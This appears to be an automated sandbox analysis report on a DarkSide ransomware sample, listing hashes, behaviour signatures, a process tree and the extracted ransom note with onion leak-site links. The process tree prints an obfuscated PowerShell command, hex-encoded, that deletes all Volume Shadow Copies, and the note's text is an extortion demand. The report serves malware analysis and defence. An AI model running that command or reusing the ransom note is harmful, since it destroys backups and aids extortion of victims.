Analysis

  • max time kernel
    12s
  • max time network
    8s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    28-08-2020 18:32

General

  • Target

    9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe

  • Size

    17KB

  • MD5

    f87a2e1c3d148a67eaeb696b1ab69133

  • SHA1

    d1dfe82775c1d698dd7861d6dfa1352a74551d35

  • SHA256

    9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297

  • SHA512

    e361811b07a66d9a784be37bdace0bdec9e11374083d7ccf7d9830e47a59afa8b9d12d80d4d47ea1932116354ad60bbc8ea6a6a265885d264b35486986415ea3

Malware Config

Extracted

Path

C:\\README.c3f722bf.TXT

Family

darkside

Ransom Note ----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Modifies extensions of user files ⋅ 4 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Reads user/profile data of web browsers ⋅ 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Modifies service ⋅ 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses ⋅ 5 IoCs
  • Suspicious use of AdjustPrivilegeToken ⋅ 24 IoCs
  • Suspicious use of WriteProcessMemory ⋅ 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe
    "C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.exe"
    Modifies extensions of user files
    Suspicious behavior: EnumeratesProcesses
    Suspicious use of AdjustPrivilegeToken
    Suspicious use of WriteProcessMemory
    PID:1496
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1920
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    Modifies service
    Suspicious use of AdjustPrivilegeToken
    PID:944

Network

MITRE ATT&CK Matrix

Command and Control

    Credential Access

    Defense Evasion

    Discovery

      Execution

        Exfiltration

          Impact

            Initial Access

              Lateral Movement

                Privilege Escalation

                  Replay Monitor

                  00:00 00:00

                  Downloads

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                  • memory/1920-0-0x0000000000000000-mapping.dmp
                  • memory/1920-1-0x000007FEF6120000-0x000007FEF6B0C000-memory.dmp
                  • memory/1920-2-0x0000000002450000-0x0000000002451000-memory.dmp
                  • memory/1920-3-0x000000001AD40000-0x000000001AD41000-memory.dmp
                  • memory/1920-4-0x0000000001F30000-0x0000000001F31000-memory.dmp
                  • memory/1920-5-0x00000000023A0000-0x00000000023A1000-memory.dmp
                  • memory/1920-6-0x000000001C680000-0x000000001C681000-memory.dmp
                  • memory/1920-7-0x000000001B930000-0x000000001B931000-memory.dmp